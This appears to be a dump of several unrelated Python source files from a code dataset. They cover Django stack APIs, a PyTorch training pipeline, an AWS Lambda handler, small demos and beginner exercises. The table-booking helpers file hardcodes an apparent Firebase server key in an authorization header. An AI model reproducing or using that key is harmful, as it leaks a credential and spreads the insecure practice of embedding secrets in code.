log.info('Updating task %s for stack %s(%s) started.' % (task.id, stack.uuid, stack.name))\n\n return Response({\n \"task\": task.id,\n # \"status\": task.status\n })\n\n def delete(self, request, format=None, *args, **kwargs):\n uuid = kwargs.get('uuid', None)\n log.debug('Delete stack %s' % uuid)\n\n try:\n stack = Stack.objects.get(owner=request.user, uuid=uuid)\n except Stack.DoesNotExist:\n return Resp404('Stack %s is not found.' % uuid)\n\n if stack.status == StackStatus.DESTROY_SUCCESS:\n return RespBadRequest('Stack %s was destroyed.' % uuid)\n\n engine = StackEngine.get_engine(stack)\n task = engine.destroy()\n log.info('Destroying task %s for stack %s(%s) started.' % (task.id, stack.uuid, stack.name))\n\n return Response({\n \"task\": task.id,\n # \"status\": task.status\n })\n\n\nclass StackResourceAPIView(APIView):\n permission_classes = (IsAuthenticated, )\n\n def get(self, request, format=None, *args, **kwargs):\n uuid = kwargs.get('uuid', None)\n if not uuid:\n raise RespBadRequest('You must specify stack UUID to get states.')\n\n log.debug('Get state of stack %s' % uuid)\n\n try:\n stack = Stack.objects.get(owner=request.user, uuid=uuid)\n except Stack.DoesNotExist:\n return Resp404('Stack %s is not found' % uuid)\n\n rc = []\n try:\n if stack.status in StackStatus.IN_PROGRESS_STATUS or stack.status == StackStatus.NEW:\n return Response([])\n elif stack.status in StackStatus.FAIL_STATUS:\n return RespError(\"Stack failed execution.\", 400,\n detail=\"Stack status is '%s'. Please re-run or re-create.\" % StackStatus.get_code_string(stack.status))\n\n engine = StackEngine.get_engine(stack)\n rc = engine.resources()\n except FileNotFoundError as e:\n log.error(str(e))\n return RespError(\"Stack work folder is not found.\", 500,\n \"Probably the stack working folder broken by mistake. \"\n \"Please set stack status to '%s' and run again.\" % StackStatus.get_code_string(StackStatus.NEW))\n except Exception as e:\n log.exception(e)\n return RespError(str(e), 500, detail=str(rc))\n\n return Response(rc)\n\n\n# class StackOutputAPIView(APIView):\n# permission_classes = (IsAuthenticated, )\n#\n# def get(self, request, format=None, *args, **kwargs):\n# uuid = kwargs.get('uuid', None)\n# if not uuid:\n# raise RespBadRequest('You must specify stack UUID to get states.')\n#\n# log.debug('Get state of stack %s' % uuid)\n#\n# try:\n# stack = Stack.objects.get(owner=request.user, uuid=uuid)\n# except Stack.DoesNotExist:\n# return Resp404('Stack %s is not found' % uuid)\n#\n# rc = ''\n# try:\n# if stack.status in StackStatus.IN_PROGRESS_STATUS or stack.status == StackStatus.NEW:\n# return Response({})\n# elif stack.status in StackStatus.FAIL_STATUS:\n# return RespError(\"Stack failed execution.\", 400,\n# detail=\"Stack status is '%s'. Please re-run or re-create.\" % StackStatus.get_code_string(stack.status))\n#\n# engine = StackEngine.get_engine(stack)\n# rc = engine.get_outputs()\n# except FileNotFoundError as e:\n# log.error(str(e))\n# return RespError(\"Stack work folder is not found.\", 500,\n# \"Probably the stack working folder broken by mistake. \"\n# \"Please set stack status to '%s' and run again.\" % StackStatus.get_code_string(StackStatus.NEW))\n# except Exception as e:\n# log.exception(e)\n# return RespError(str(e), 500, detail=str(rc))\n#\n# return Response({\n# \"resources\": rc\n# })\n","sub_path":"cpsapi/views/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":11384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"613815734","text":"import json\nimport threading\n\nimport requests\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom rest_framework import exceptions\nfrom rest_framework import serializers\n\nKEY_FIREBASE_SERVER = 'AAAAqVE4DHE:APA91bFXPHdFV6nHyVcCT6DjE2DivY7P0jqu9KTCiy-cxZ6hx6iUp2D6FRt' \\\n 'Q_iHM15GblnK5Gykwc0zYr_08En_0dDVyaUau9p8LUe2zpBsNWfvhvFA_SVTNugr81E7WUuj' \\\n 'Ant8h6yKt'\nHEADER = {\n 'Authorization': 'key={}'.format(KEY_FIREBASE_SERVER),\n 'Content-Type': 'application/json'\n}\nURL_FCM = 'https://fcm.googleapis.com/fcm/send'\n\n\ndef does_time_overlap(new_start, new_stop, old_start, old_stop):\n if new_start > new_stop or old_start > old_stop:\n raise exceptions.APIException(\n detail={'reason': 'start time of a time range must not be ahead '\n 'of end time.'},\n code=400)\n if old_start >= new_stop:\n return False\n if new_start < old_start < new_stop:\n return True\n if old_start < new_start and new_stop < old_stop:\n return True\n if new_start >= old_stop:\n return False\n return True\n\n\nclass RichPrimaryKeyRelatedField(serializers.RelatedField):\n # Taken from: https://gist.github.com/AndrewIngram/5c79a3e99ccd20245613\n default_error_messages = serializers.PrimaryKeyRelatedField.default_error_messages\n\n def __init__(self, serializer, **kwargs):\n self.many = kwargs.get('many', False)\n self.serializer = serializer\n super().__init__(**kwargs)\n\n def to_internal_value(self, data):\n try:\n return self.get_queryset().get(pk=data)\n except ObjectDoesNotExist:\n self.fail('does_not_exist', pk_value=data)\n except (TypeError, ValueError):\n self.fail('incorrect_type', data_type=type(data).__name__)\n\n def to_representation(self, value):\n return self.serializer(value, many=self.many).data\n\n\ndef _send_push(registration_ids, data):\n data = {'data': data, 'registration_ids': registration_ids}\n requests.post(URL_FCM, data=json.dumps(data), headers=HEADER)\n\n\ndef send_push(registration_ids, data):\n threading.Thread(target=_send_push, args=(registration_ids, data, )).start()\n","sub_path":"table_booking_app/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"110954218","text":"import signal\nimport sys\nimport time\n\n\ndef now():\n return time.asctime()\n\n\ndef on_signal(signum, stackframe):\n print('Got signal {:s} at {:s}'.format(signal, now()))\n if signal == signal.SIGCHLD:\n print('sigchld caught')\n #signal.signal(signal.SIGCHLD,on_signal)\n\n\nsignum = int(sys.argv[1])\nsignal.signal(signum, on_signal)\nwhile True:\n signal.pause()\n","sub_path":"study/programming_python_4th/internet/signal-demo.py","file_name":"signal-demo.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"98505532","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom lib.envs.gambler import GamblerEnv\nfrom value_iteration import value_iteration\n\nenv = GamblerEnv(goal_amount=100)\n\npolicy, v = value_iteration(env)\nv[env.nS - 1] = 1.0\n\ngreedy_policy = np.zeros(env.nS)\nfor s in range(1, env.nS - 1):\n max_prob = -float('inf')\n max_a = -1\n for a in range(env.nA):\n if policy[s][a] >= max_prob:\n max_prob = policy[s][a]\n max_a = a\n greedy_policy[s] = max_a\n\nplt.figure(1)\nplt.xlabel('Capital')\nplt.ylabel('Value Estimates')\nplt.plot(v)\n\nplt.figure(2)\nplt.xlabel('Capital')\nplt.ylabel('Final policy (stake)')\nplt.scatter(range(env.nS), greedy_policy)\nplt.show()\n","sub_path":"topics/dp/gambler.py","file_name":"gambler.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"369849446","text":"# step_1_coroutine_overview.py\n\n# a piece of code that is sitting there ready\n# for some other manager type of program to run\nasync def greeting(name):\n return 'hey, ' + name\n\nif __name__ == '__main__':\n g = greeting('coroutine')\n print(g)\n import asyncio\n loop = asyncio.get_event_loop()\n # running under management\n res = loop.run_until_complete(g)\n print(res)","sub_path":"coroutines/step_1_coroutine_overview.py","file_name":"step_1_coroutine_overview.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"193541220","text":"#score = int(0) #setting up the score\na1 = int(3) #correct answer for question 1\nc1 = False #check whether user has answered question properly loop\nu1 = int(0) #users answer to question\nq1 = str(\"\"\"What is the biggest channel on YouTube (based on subscribers)?\n1) T-Series\n2) Youtube Gaming\n3) PewDiePie\n4) JustDestiny\"\"\") #first question\na2 = int(4) #correct answer for question 2\nc2 = False #checks whether user has answered question\nu2 = int(0) #users answer to second question\nq2 = str(\"\"\"What does the Youtuber, PewDiePie posts on his channel?\n1) Meme review\n2) LWIAY (Last Week I Asked You)\n3) You Laugh, You Lose (YLYL)\n4) All of the above\"\"\") #string of second question\n\ndef runQuest (quest, chek, userA, corrA): #defining the function \"run question\", (question, checking if user answered question, user answer, correct answer)\n print(quest) #print the question\n while chek == False: #while user hasn't put in an answer (false)\n try: #try this..\n userA = int(input(\"Your answer >>> \")) #userA is the user's answer to the question\n if userA == corrA: #if the users answer matches the correct answer, then...\n #score = score + 1\n print(\"Thanks for your answer.\") #thanking the user for their answer\n chek = True #the user has answered the question, the condition can be escaped\n elif 0 num2:\n# print(num1)\n# #如果相等 输出第一个数等于第二个数\n# elif num1 == num2:\n# print(num1)\n# #否则输出第二个数\n# else:\n# print(num2)\n\n#2.在控制台输入三个数 打印其中最大的\n#先比前两个\n#用较大的去和第三个比\n#得到结果\n# num1 = float(input('请输入第一个数字:'))\n# num2 = float(input('请输入第二个数字:'))\n# num3 = float(input('请输入第三个数字:'))\n# if num1 > num2:\n# #num1比较大\n# #判断num1和num3的大小 输出较大的\n# if num1>num3:\n# print(num1)\n# else:\n# print(num3)\n# else:\n# #num2比较大\n# #判断num2和num3的大小 输出较大的\n# if num2>num3:\n# print(num2)\n# else:\n# print(num3)\n\n#14:50~15:05\n\nnum1 = float(input('请输入第一个数字:'))\nnum2 = float(input('请输入第二个数字:'))\nnum3 = float(input('请输入第三个数字:'))\nnum4 = float(input('请输入第四个数字:'))\n\n#假设第一个数是最大值\nmax_value = num1\n#将最大值与第二个数比较 如果第二个数比最大值大\nif max_value str:\n\t\treturn __file__\n\n\nclass TrainProcess_Scheduler(TrainProcess):\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\t# data\n\t\tself.name = \"Scheduler\"\n\n\t\t# operation\n\t\t# only update the optimizer before the iteration start\n\t\tself.addStage(ModelInfo.Stage.TRAIN_START)\n\n\tdef __del__(self):\n\t\treturn\n\n\t# Property\n\t# ...\n\n\t# Operation\n\tdef execute(self, stage: int, info: ModelInfo, data: Dict) -> None:\n\t\t# iteration 0 - 100\n\t\tif info.iteration == 0:\n\t\t\tself._updateOptimizer_1_(info)\n\n\t\t# iteration: 100 - 200\n\t\telif info.iteration == 100:\n\t\t\tself._updateOptimizer_2_(info)\n\n\t\t# iteration: after 200\n\t\telif info.iteration == 200:\n\t\t\tself._updateOptimizer_3_(info)\n\n\tdef _updateOptimizer_1_(self, info: ModelInfo) -> None:\n\t\t# ----- set require_grad -----\n\t\tmodel: Model_1 = info.model\n\n\t\tmodel.setGradient(model.Layer.INPUT_CONV,\t\t\tTrue)\n\t\tmodel.setGradient(model.Layer.FEATURE_EXTRACTOR,\tFalse)\n\t\tmodel.setGradient(model.Layer.OUTPUT_FC,\t\t\tTrue)\n\n\t\t# only update fc in feature_extractor\n\t\tfor param in model.feature_extractor.fc.parameters():\n\t\t\tparam.requires_grad = True\n\n\t\t# ----- update optimizer -----\n\t\t# get parameter that needed to update\n\t\t# then save it to the newly created optimizer\n\t\tparameter_list = self._getParameterList_RequireGrad_(model)\n\t\tinfo.optimizer = optim.SGD(\n\t\t\tparameter_list,\n\t\t\tlr=1e-4,\n\t\t\tmomentum=0.9,\n\t\t\tweight_decay=5e-4,\n\t\t\tnesterov=True)\n\t\tinfo.scheduler = lr_scheduler.StepLR(info.optimizer, step_size=80, gamma=0.2)\n\n\tdef _updateOptimizer_2_(self, info: ModelInfo) -> None:\n\t\t# ----- set require_grad -----\n\t\tmodel: Model_1 = info.model\n\n\t\tmodel.setGradient(model.Layer.INPUT_CONV,\t\t\tTrue)\n\t\tmodel.setGradient(model.Layer.FEATURE_EXTRACTOR,\tFalse)\n\t\tmodel.setGradient(model.Layer.OUTPUT_FC,\t\t\tTrue)\n\n\t\t# only update layer4 in feature_extractor\n\t\tfor param in model.feature_extractor.layer4.parameters():\n\t\t\tparam.requires_grad = True\n\n\t\t# ----- update optimizer -----\n\t\t# get parameter that needed to update\n\t\t# then save it to the newly created optimizer\n\t\tparameter_list = self._getParameterList_RequireGrad_(info.model)\n\t\tinfo.optimizer = optim.SGD(\n\t\t\tparameter_list,\n\t\t\tlr=8e-4,\n\t\t\tmomentum=0.9,\n\t\t\tweight_decay=5e-4,\n\t\t\tnesterov=True)\n\t\tinfo.scheduler = lr_scheduler.StepLR(info.optimizer, step_size=80, gamma=0.2)\n\n\tdef _updateOptimizer_3_(self, info: ModelInfo) -> None:\n\t\t# ----- set require_grad -----\n\t\tmodel: Model_1 = info.model\n\n\t\tmodel.setGradient(model.Layer.INPUT_CONV,\t\t\tTrue)\n\t\tmodel.setGradient(model.Layer.FEATURE_EXTRACTOR,\tFalse)\n\t\tmodel.setGradient(model.Layer.OUTPUT_FC,\t\t\tTrue)\n\n\t\t# only update fc in feature_extractor\n\t\tfor param in model.feature_extractor.fc.parameters():\n\t\t\tparam.requires_grad = True\n\n\t\t# ----- update optimizer -----\n\t\t# get parameter that needed to update\n\t\t# then save it to the newly created optimizer\n\t\tparameter_list = self._getParameterList_RequireGrad_(info.model)\n\t\tinfo.optimizer = optim.SGD(\n\t\t\tparameter_list,\n\t\t\tlr=2e-5,\n\t\t\tmomentum=0.9,\n\t\t\tweight_decay=2e-4,\n\t\t\tnesterov=True)\n\t\tinfo.scheduler = lr_scheduler.StepLR(info.optimizer, step_size=80, gamma=0.2)\n\n\tdef _getParameterList_RequireGrad_(self, model: nn.Module) -> List[Any]:\n\t\t# get parameter that needed to update\n\t\tparameter_list = []\n\n\t\tfor _, param in model.named_parameters():\n\t\t\tif not param.requires_grad:\n\t\t\t\tcontinue\n\t\t\tparameter_list.append(param)\n\n\t\treturn parameter_list\n\n\nclass TrainProcess_Result(TrainProcess):\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\t# data\n\t\tself.name = \"ResultData\"\n\n\t\tself.file_model_info \t\t\t= FileNode_PlainText(None)\n\t\tself.file_model_info.name\t\t= \"ModelInfo\"\n\t\tself.file_model_info.extension\t= \"json\"\n\n\t\tself.file_state_dict \t\t\t= FileNode_StateDict(None)\n\t\tself.file_state_dict.name \t\t= \"StateDict\"\n\t\tself.file_state_dict.extension \t= \"tar\"\n\n\t\tself.best_state_dict:\tAny\t\t= None\n\t\tself.best_accuracy: \tfloat \t= .0\n\t\tself.best_loss:\t\t\tfloat\t= float(\"inf\")\n\t\tself.best_iteration:\tint \t= -1\n\n\t\t# operation\n\t\tself.addStage(ModelInfo.Stage.START)\n\t\tself.addStage(ModelInfo.Stage.TRAIN_END)\n\t\tself.addStage(ModelInfo.Stage.VAL_END)\n\t\tself.addStage(ModelInfo.Stage.TEST_START)\n\t\tself.addStage(ModelInfo.Stage.TEST_END)\n\t\tself.addStage(ModelInfo.Stage.END)\n\n\tdef __del__(self):\n\t\treturn\n\n\t# Property\n\t# ...\n\n\t# Operation\n\tdef setStateDict(self, state_dict: Any) -> None:\n\t\tself.file_state_dict.setStateDict(state_dict)\n\n\tdef execute(self, stage: int, info: ModelInfo, data: Dict) -> None:\n\t\t# start\n\t\tif stage == ModelInfo.Stage.START:\n\n\t\t\tinfo.file_control.mountFile(\".\", self.file_state_dict)\n\t\t\tinfo.file_control.mountFile(\".\", self.file_model_info)\n\t\t\treturn\n\n\t\t# train end\n\t\tif stage == ModelInfo.Stage.TRAIN_END:\n\t\t\treturn\n\n\t\t# validation end\n\t\tif stage == ModelInfo.Stage.VAL_END:\n\n\t\t\t# get loss and save best state_dict\n\t\t\tloss = info.result[\"Val_Loss\"][-1]\n\t\t\tif loss < self.best_loss:\n\n\t\t\t\tself.best_loss \t\t= loss\n\t\t\t\tself.best_iteration = info.iteration\n\n\t\t\t\t# save to info\n\t\t\t\tinfo.result[\"Best_Loss\"] \t\t= self.best_loss\n\t\t\t\tinfo.result[\"Best_Iteration\"] \t= self.best_iteration\n\n\t\t\t\t# save state dict\n\t\t\t\tself.best_state_dict = info.model.state_dict()\n\t\t\t\tself.file_state_dict.setStateDict(self.best_state_dict)\n\n\t\t\t# save model info\n\t\t\tdata = info.getDictData()\n\t\t\tdata = json.dumps(data, indent=2)\n\t\t\tself.file_model_info.setData(data)\n\t\t\treturn\n\n\t\t# test start\n\t\tif stage == ModelInfo.Stage.TEST_START:\n\t\t\tinfo.model.load_state_dict(self.best_state_dict)\n\t\t\treturn\n\n\t\t# test end\n\t\tif stage == ModelInfo.Stage.TEST_END:\n\t\t\treturn\n\n\t\t# end\n\t\tif stage == ModelInfo.Stage.END:\n\n\t\t\t# save model info\n\t\t\tdata = info.getDictData()\n\t\t\tdata = json.dumps(data, indent=2)\n\t\t\tself.file_model_info.setData(data)\n\t\t\treturn\n\n\t# Protected\n\tdef getLogContent(self, stage: int, info: ModelInfo) -> str:\n\t\treturn self._getContent_(stage, info)\n\n\tdef getPrintContent(self, stage: int, info: ModelInfo) -> str:\n\t\treturn self._getContent_(stage, info)\n\n\tdef _getContent_(self, stage: int, info: ModelInfo) -> str:\n\t\tif stage == ModelInfo.Stage.START:\n\t\t\treturn self._getContent_Start_(info)\n\n\t\tif stage == ModelInfo.Stage.TRAIN_END:\n\t\t\treturn self._getContent_TrainEnd_(info)\n\n\t\tif stage == ModelInfo.Stage.VAL_END:\n\t\t\treturn self._getContent_ValidationEnd_(info)\n\n\t\tif stage == ModelInfo.Stage.TEST_END:\n\t\t\treturn self._getContent_TestEnd_(info)\n\n\t\treturn \"\"\n\n\tdef _getContent_Start_(self, info: ModelInfo) -> str:\n\t\treturn \"\"\n\n\tdef _getContent_TrainEnd_(self, info: ModelInfo) -> str:\n\t\tcontent: str = \"\"\n\n\t\t# stage\n\t\tcontent += f\"[Train]: \"\n\n\t\t# iteration\n\t\tcontent += f\"Iteration: {info.iteration}\"\n\t\tcontent += f\"; \"\n\n\t\t# loss\n\t\tloss = info.result[\"Train_Loss\"][-1]\n\t\tcontent += f\"Loss: {loss:.5f}\"\n\n\t\treturn content\n\n\tdef _getContent_ValidationEnd_(self, info: ModelInfo) -> str:\n\t\tcontent: str = \"\"\n\n\t\t# stage\n\t\tcontent += f\"[Val]: \"\n\n\t\t# iteration\n\t\tcontent += f\"Iteration: {info.iteration}\"\n\t\tcontent += f\"; \"\n\n\t\t# loss\n\t\tloss = info.result[\"Val_Loss\"][-1]\n\t\tcontent += f\"Loss: {loss:.5f}\"\n\t\tcontent += \"; \"\n\n\t\t# best score\n\t\tcontent += f\"Best: \"\n\t\tcontent += f\"loss: {self.best_loss:.5f}, \"\n\t\tcontent += f\"iteration: {self.best_iteration}\"\n\n\t\treturn content\n\n\tdef _getContent_TestEnd_(self, info: ModelInfo) -> str:\n\t\tcontent: str = \"\"\n\n\t\t# stage\n\t\tcontent += f\"[Test]: \"\n\n\t\t# loss\n\t\tloss = info.result[\"Test_Loss\"][-1]\n\t\tcontent += f\"Loss: {loss:.5f}\"\n\n\t\treturn content\n\n\nclass Linker_Train:\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\t# data\n\t\tself.process_scheduler\t= TrainProcess_Scheduler()\n\t\tself.process_result\t\t= TrainProcess_Result()\n\n\t\t# operation\n\t\t# ...\n\n\tdef __del__(self):\n\t\treturn\n\n\t# Property\n\t# ...\n\n\t# Operation\n\t# ops\n\tdef batchData(self, data_list: List[Tuple[torch.Tensor, int]]) -> Tuple[torch.tensor, torch.tensor]:\n\t\t# assert: data_list is not empty\n\t\tassert data_list\n\n\t\t# to list\n\t\tx_list: List[torch.Tensor]\t= []\n\t\ty_list: List[int]\t\t\t= []\n\n\t\tfor data in data_list:\n\t\t\tx_list.append(data[0])\n\t\t\ty_list.append(data[1])\n\n\t\t# to tensor, ndarray\n\t\tresult_x = torch.cat(x_list)\n\t\tresult_y = torch.tensor(y_list)\n\n\t\treturn result_x, result_y\n\n\tdef Ops_getLoss(self, info: ModelInfo, predict: torch.Tensor, target: torch.Tensor) -> torch.Tensor:\n\t\t# ----- cross entropy -----\n\t\t# if info.stage == ModelInfo.Stage.VAL or \\\n\t\t# \tinfo.stage == ModelInfo.Stage.TEST:\n\t\t# \treturn self._getLoss_CrossEntropy_(info, predict, target)\n\n\t\t# ----- LSTM -----\n\t\t# get ratio\n\t\tif info.stage == ModelInfo.Stage.TRAIN:\n\t\t\tclass_size_list = info.dataset_object[\"Ratio_Train\"]\n\t\telif info.stage == ModelInfo.Stage.VAL:\n\t\t\tclass_size_list = info.dataset_object[\"Ratio_Val\"]\n\t\telse:\n\t\t\tclass_size_list = info.dataset_object[\"Ratio_Test\"]\n\n\t\t# TODO: currently the ratio is fixed\n\t\tclass_weight_list\t= torch.tensor([1, 1, 1], \t\tdtype=torch.float)\n\t\tclass_size_list\t\t= torch.tensor(class_size_list, dtype=torch.float)\n\n\t\t# get loss\n\t\treturn self._getLoss_LDAM_(info, predict, target, class_size_list, class_weight_list)\n\n\tdef Ops_getDataLoader(self, info: ModelInfo, dataset: Dataset_Base) -> DataLoader:\n\t\t# validation\n\t\tif info.stage == ModelInfo.Stage.VAL:\n\t\t\treturn DataLoader(dataset, shuffle=True, batch_size=1, collate_fn=self.batchData)\n\n\t\t# training\n\t\treturn DataLoader(dataset, shuffle=True, batch_size=info.batch_size, collate_fn=self.batchData)\n\n\tdef Ops_packBatchResult(\n\t\t\tself, info: ModelInfo, x: torch.Tensor, y: torch.Tensor, predict: torch.Tensor, loss: torch.Tensor) -> Any:\n\n\t\t# to numpy or integer\n\t\ty \t\t= y.detach().cpu().numpy()\n\t\tpredict = predict.detach().cpu().numpy()\n\t\tloss\t= loss.detach().cpu().item()\n\n\t\t# argmax\n\t\tpredict = np.argmax(predict, axis=1)\n\n\t\t# compute confusion matrix\n\t\tmatrix = self._computeConfusionMatrix_(predict, y, 3)\n\n\t\treturn [matrix, loss]\n\n\tdef Ops_packEpochResult(self, info: ModelInfo, result_list: List[Any]) -> Any:\n\t\tmatrix \t= np.zeros((3, 3), dtype=np.int)\n\t\tloss \t= 0\n\n\t\tfor result in result_list:\n\t\t\tmatrix += result[0]\n\t\t\tloss += result[1]\n\n\t\tloss /= len(result_list)\n\n\t\treturn [matrix, loss]\n\n\tdef Ops_handleTrainResult(self, info: ModelInfo, result: np.ndarray) -> None:\n\t\t# confusion matrix\n\t\tif \"Train_Matrix\" not in info.result.keys():\n\t\t\tinfo.result[\"Train_Matrix\"] = []\n\t\tinfo.result[\"Train_Matrix\"].append(result[0].tolist())\n\n\t\t# loss\n\t\tif \"Train_Loss\" not in info.result.keys():\n\t\t\tinfo.result[\"Train_Loss\"] = []\n\t\tinfo.result[\"Train_Loss\"].append(result[1])\n\n\tdef Ops_handleValidateResult(self, info: ModelInfo, result: np.ndarray) -> None:\n\t\t# confusion matrix\n\t\tif \"Val_Matrix\" not in info.result.keys():\n\t\t\tinfo.result[\"Val_Matrix\"] = []\n\t\tinfo.result[\"Val_Matrix\"].append(result[0].tolist())\n\n\t\t# loss\n\t\tif \"Val_Loss\" not in info.result.keys():\n\t\t\tinfo.result[\"Val_Loss\"] = []\n\t\tinfo.result[\"Val_Loss\"].append(result[1])\n\n\tdef Ops_handleTestResult(self, info: ModelInfo, result: np.ndarray) -> None:\n\t\t# confusion matrix\n\t\tif \"Test_Matrix\" not in info.result.keys():\n\t\t\tinfo.result[\"Test_Matrix\"] = []\n\t\tinfo.result[\"Test_Matrix\"].append(result[0].tolist())\n\n\t\t# loss\n\t\tif \"Test_Loss\" not in info.result.keys():\n\t\t\tinfo.result[\"Test_Loss\"] = []\n\t\tinfo.result[\"Test_Loss\"].append(result[1])\n\n\t# Protected\n\tdef _computeConfusionMatrix_(self, predict: np.ndarray, y: np.ndarray, size_class: int) -> np.ndarray:\n\t\t\"\"\"\n\t\tCompute the confusion matrix\n\t\tinput should be in shape of [N], where N is the number of sample\n\t\tthe value should within [0, ... n - 1], where n is the number of class\n\n\t\t:param predict:\t\t[N] x-class (from model)\n\t\t:param y:\t\t\t[N] y-class (ground truth)\n\t\t:param size_class:\tsize of class: n\n\t\t:return:\t\t\tconfusion_matrix[ground_truth][predicted]\n\t\t\"\"\"\n\t\t# it is assumed that the size of predict_class and y_class are the same\n\t\tn = size_class\n\n\t\t# confusion matrix is in shape of [n, n]\n\t\t# confusion_matrix: List[List[int]] = [[0 for x in range(n)] for y in range(n)]\n\t\tmatrix = np.zeros((n, n), dtype=np.int32)\n\n\t\t# TODO: find a way to do the parallel processing\n\t\t# foreach sample\n\t\tfor i in range(y.shape[0]):\n\t\t\trow = y[i]\n\t\t\tcol = predict[i]\n\t\t\tmatrix[row][col] += 1\n\n\t\treturn matrix\n\n\tdef _getLoss_LDAM_(\n\t\tself,\n\t\tinfo: ModelInfo, predict: torch.Tensor, target: torch.Tensor,\n\t\tclass_size_list: torch.Tensor, class_weight_list: torch.Tensor\n\t) -> torch.Tensor:\n\n\t\t# class_weight_list\t= torch.FloatTensor(class_weight_list).to(info.device_current)\n\t\t# class_size_list\t\t= torch.FloatTensor(class_size_list).to(info.device_current)\n\n\t\tclass_weight_list\t= class_weight_list.to(info.device_current)\n\t\tclass_size_list\t\t= class_size_list.to(info.device_current)\n\n\t\tloss_ldam = LDAMLoss(class_size_list, info.device_current, weight=class_weight_list).to(info.device_current)\n\n\t\tloss = loss_ldam(predict, target)\n\t\treturn loss\n\n\tdef _getLoss_CrossEntropy_(self, info: ModelInfo, predict: torch.Tensor, target: torch.Tensor) -> torch.Tensor:\n\t\tloss = F.cross_entropy(predict, target).to(info.device_current)\n\t\treturn loss\n","sub_path":"Train/Model_1/Linker_Train.py","file_name":"Linker_Train.py","file_ext":"py","file_size_in_byte":13058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"71396710","text":"\"\"\"\nTableUpdateFunction\n\"\"\"\n\n\nimport os\nfrom typing import List\nimport boto3\nfrom boto3.dynamodb.types import TypeDeserializer\nfrom aws_lambda_powertools.tracing import Tracer\nfrom aws_lambda_powertools.logging.logger import Logger\nfrom ecom.eventbridge import ddb_to_event # pylint: disable=import-error\n\n\nENVIRONMENT = os.environ[\"ENVIRONMENT\"]\nEVENT_BUS_NAME = os.environ[\"EVENT_BUS_NAME\"]\n\n\neventbridge = boto3.client(\"events\") # pylint: disable=invalid-name\ntype_deserializer = TypeDeserializer() # pylint: disable=invalid-name\nlogger = Logger() # pylint: disable=invalid-name\ntracer = Tracer() # pylint: disable=invalid-name\n\n\n@tracer.capture_method\ndef send_events(events: List[dict]):\n \"\"\"\n Send events to EventBridge\n \"\"\"\n\n logger.info(\"Sending %d events to EventBridge\", len(events))\n # EventBridge only supports batches of up to 10 events\n for i in range(0, len(events), 10):\n eventbridge.put_events(Entries=events[i:i+10])\n\n\n@logger.inject_lambda_context\n@tracer.capture_lambda_handler\ndef handler(event, _):\n \"\"\"\n Lambda function handler for Orders Table stream\n \"\"\"\n\n logger.debug({\n \"message\": \"Input event\",\n \"event\": event\n })\n\n logger.debug({\n \"message\": \"Records received\",\n \"records\": event.get(\"Records\", [])\n })\n\n events = [\n ddb_to_event(record, EVENT_BUS_NAME, \"ecommerce.orders\", \"Order\", \"orderId\")\n for record in event.get(\"Records\", [])\n ]\n\n logger.info(\"Received %d event(s)\", len(events))\n logger.debug({\n \"message\": \"Events processed from records\",\n \"events\": events\n })\n\n send_events(events)\n","sub_path":"orders/src/table_update/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"190321584","text":"from pico2d import *\n\ndef draw_point(x,y):\n\tcursor.draw(x,y)\n\ndef move_character(from_x, from_y, to_x, to_y):\n global character_x,character_y, character_dirrection\n global point\n global move_stack,character_frame\n #포인트 사이의 변위 구하기\n DeltaX = to_x - from_x\n DeltaY = to_y - from_y\n #캐릭터 이동\n character_x=character_x+(DeltaX)/50\n character_y=character_y+(DeltaY)/50\n move_stack=(move_stack+1)%50\n character_frame=(character_frame+1)%8\n #방향전환\n if DeltaX>0:\n character.clip_draw(character_frame*100,100,100,100,character_x,character_y)\n character_dirrection=3\n elif DeltaX<0:\n character.clip_draw(character_frame*100,0,100,100,character_x,character_y)\n character_dirrection=2\n else:\n character.clip_draw(character_frame*100,100*character_dirrection,100,100,character_x,character_y)\n #좌표 바꾸기\n if move_stack == 49:\n character_x=to_x\n character_y=to_y\n point[0]=point[2]\n point[1]=point[3]\n\n delay(0.03)\n\ndef handle_events():\n\tglobal character_x,character_y\n\tglobal mouse_x, mouse_y\n\tglobal running\n\tglobal point\n\tglobal move_stack\n\tevents = get_events()\n\tfor event in events:\n\t\tif event.type == SDL_QUIT:\n\t\t\trunning = False\n\t\telif event.type == SDL_KEYDOWN and event.key == SDLK_ESCAPE:\n\t\t\trunning=False\n\t\telif event.type == SDL_MOUSEMOTION:\n\t\t\tmouse_x, mouse_y = event.x, KPU_HEIGHT - event.y\n\t\telif event.type == SDL_MOUSEBUTTONDOWN:\n\t\t\tmove_stack=0\n\t\t\tmouse_x, mouse_y = event.x, KPU_HEIGHT - event.y\n\t\t\tpoint[0],point[1]=character_x,character_y\n\t\t\tpoint[2]=mouse_x\n\t\t\tpoint[3]=mouse_y\n\npoint =[400,300,400,300]\nKPU_WIDTH, KPU_HEIGHT = 800, 600\ncharacter_x, character_y = 400, 300\ncharacter_dirrection = 3\t# 3= right 2= left\nmouse_x, mouse_y = 400, 300\npoint_index = 0\nmove_stack = 0\ncharacter_frame=0\nrunning = True\n\nopen_canvas(KPU_WIDTH,KPU_HEIGHT)\nhide_cursor()\ncursor=load_image('hand_arrow.png')\ncharacter=load_image('animation_sheet.png')\nbackground= load_image('KPU_GROUND.png')\n\nwhile running:\n clear_canvas()\n 